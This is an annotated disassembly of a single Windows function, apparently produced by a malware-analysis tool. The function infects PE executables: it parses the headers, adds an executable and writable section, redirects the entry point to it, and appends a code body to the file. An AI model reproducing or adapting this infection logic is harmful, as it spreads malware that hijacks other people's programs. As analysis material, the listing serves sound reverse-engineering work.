Function at 0x407545
Capabilities:
Enumerate pe sections
Parse pe header
Read file via mapping
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d190
push 0x40b952
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0xb0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x98], 0
and dword [ebp - 0x9c], 0
and dword [ebp - 0xc0], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0xbc], 0
and dword [ebp - 0x28], 0
or dword [ebp - 0xa0], 0xffffffff
and dword [ebp - 0x24], 0
and dword [ebp - 0xc4], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x6c], 0
cmp dword [0x4130dc], 0
jne 0x4075bc
call fcn.00407480
and dword [ebp - 4], 0
push dword [ebp + 8]
call fcn.0040719f
cmp eax, 1
jne 0x4075d2
jmp 0x407b05
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0xffffffff
jne 0x40760f
jmp 0x407b05
push 0
lea eax, [ebp - 0xb8]
push eax
push dword [ebp - 0xa0]
call fcn.00402da4
push 2
push 0
push 0
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x24], eax
push 0x400
push 0
push 0
push 0xf001f
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
je 0x407687
mov eax, dword [ebp - 0x98]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x40768c
jmp 0x407b05
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc4], ecx
mov eax, dword [ebp - 0xc4]
add eax, 0xf8
mov ecx, dword [ebp - 0x98]
add ecx, 0x400
cmp eax, ecx
ja 0x4076cc
mov eax, dword [ebp - 0xc4]
movzx eax, word [eax]
cmp eax, 0x4550
je 0x4076d1
jmp 0x407b05
push 0
push dword [ebp - 0x20]
push dword [ebp - 0xc4]
call fcn.00407255
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x28
mov ecx, dword [ebp - 0x98]
add ecx, 0x400
cmp eax, ecx
jbe 0x4076ff
jmp 0x407b05
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 0x22]
mov ecx, dword [0x4122fc]
movzx ecx, word [ecx]
cmp eax, ecx
jl 0x407718
jmp 0x407b05
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 0x22]
test eax, eax
je 0x4077a1
mov dword [ebp - 0xc0], 1
mov eax, dword [ebp - 0xc4]
mov ax, word [eax + 6]
sub ax, 1
mov ecx, dword [ebp - 0xc4]
mov word [ecx + 6], ax
mov eax, dword [ebp - 0xc4]
cmp dword [eax + 0x1c], 0
je 0x407769
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax + 0x1c]
sub eax, dword [ecx + 8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + 4]
mov dword [eax + 0x28], ecx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax + 0x50]
sub eax, dword [ecx + 8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx + 0x50], eax
push 0x400
push dword [ebp - 0x98]
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xc4]
movzx eax, word [eax + 6]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc4]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
add eax, 0x28
mov ecx, dword [ebp - 0x98]
add ecx, 0x400
cmp eax, ecx
jbe 0x4077e8
jmp 0x407b05
cmp dword [ebp - 0xc0], 0
jne 0x40783a
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x9c], eax
and dword [ebp - 0xc8], 0
jmp 0x407810
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xa
jae 0x40783a
mov eax, dword [ebp - 0x9c]
cmp dword [eax], 0
je 0x407829
jmp 0x407b05
mov eax, dword [ebp - 0x9c]
add eax, 4
mov dword [ebp - 0x9c], eax
jmp 0x407803
call fcn.004024be
and eax, 0xffffff
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0xbc]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x38]
mov eax, dword [0x40fa8c]
add eax, dword [0x4130c4]
push eax
call fcn.0040701f
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x3c]
mov eax, dword [0x40fa8c]
add eax, dword [0x4130c4]
push eax
call fcn.0040701f
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x6c]
mov dword [eax + 0x24], 0xe0000020
mov eax, dword [ebp - 0x6c]
mov ecx, dword [0x4122fc]
mov cx, word [ecx]
mov word [eax + 0x22], cx
push 1
push dword [ebp - 0x20]
push dword [ebp - 0xc4]
call fcn.00407255
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x1c]
push dword [eax + 8]
call fcn.0040701f
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 0xc], eax
push 2
push dword [ebp - 0x20]
push dword [ebp - 0xc4]
call fcn.00407255
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x3c]
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x10]
call fcn.0040701f
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0x14]
cmp eax, dword [ebp - 0x20]
jae 0x407937
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x3c]
push dword [ebp - 0x20]
call fcn.0040701f
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0xc4]
and dword [eax + 0x58], 0
mov eax, dword [ebp - 0xc4]
mov ax, word [eax + 6]
add ax, 1
mov ecx, dword [ebp - 0xc4]
mov word [ecx + 6], ax
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx + 0xc]
mov dword [eax + 0x28], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x6c]
add eax, dword [ecx + 8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx + 0x50], eax
mov eax, dword [ebp - 0xc4]
cmp dword [eax + 0x1c], 0
je 0x4079a4
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ebp - 0x6c]
add eax, dword [ecx + 8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx + 0x1c], eax
push 0x28
push dword [ebp - 0x6c]
lea eax, [ebp - 0x94]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x98]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
and dword [ebp - 0x98], 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 0x24], 0
mov eax, dword [0x4130dc]
sub eax, 0x40f808
mov ecx, dword [ebp - 0x88]
lea eax, [ecx + eax + 4]
mov ecx, dword [ebp - 0xbc]
sub ecx, eax
mov eax, dword [0x4130dc]
mov dword [eax], ecx
push 0x40
push 0
lea eax, [ebp - 0x68]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.004024be
push eax
push 0x40cee4
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [0x4130e0]
mov dword [eax], 0x5c3a43
mov eax, dword [0x4130e0]
mov cl, byte [ebp - 0x68]
mov byte [eax + 3], cl
mov eax, dword [0x4130e4]
mov ecx, dword [ebp - 0x67]
mov dword [eax], ecx
mov eax, dword [0x4130e8]
mov ecx, dword [ebp - 0x63]
mov dword [eax], ecx
mov eax, dword [0x4130e8]
mov byte [eax + 3], 0x2e
mov eax, dword [0x4130ec]
mov dword [eax], 0x657865
push 2
push 0
mov eax, dword [ebp - 0x80]
sub eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x84]
push eax
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 2
push 0
xor eax, eax
sub eax, dword [ebp - 0x84]
push eax
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x28]
push eax
push dword [0x40fa8c]
push 0x40f808
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x28]
push eax
push dword [0x4130c4]
push dword [0x4130c0]
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp - 0xb8]
push eax
push dword [ebp - 0xa0]
call fcn.00402da4
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 0xa0], 0xffffffff
cmp dword [ebp - 0x98], 0
je 0x407b1a
push dword [ebp - 0x98]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x24], 0
je 0x407b29
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xa0], 0xffffffff
je 0x407b3e
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x407b88
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4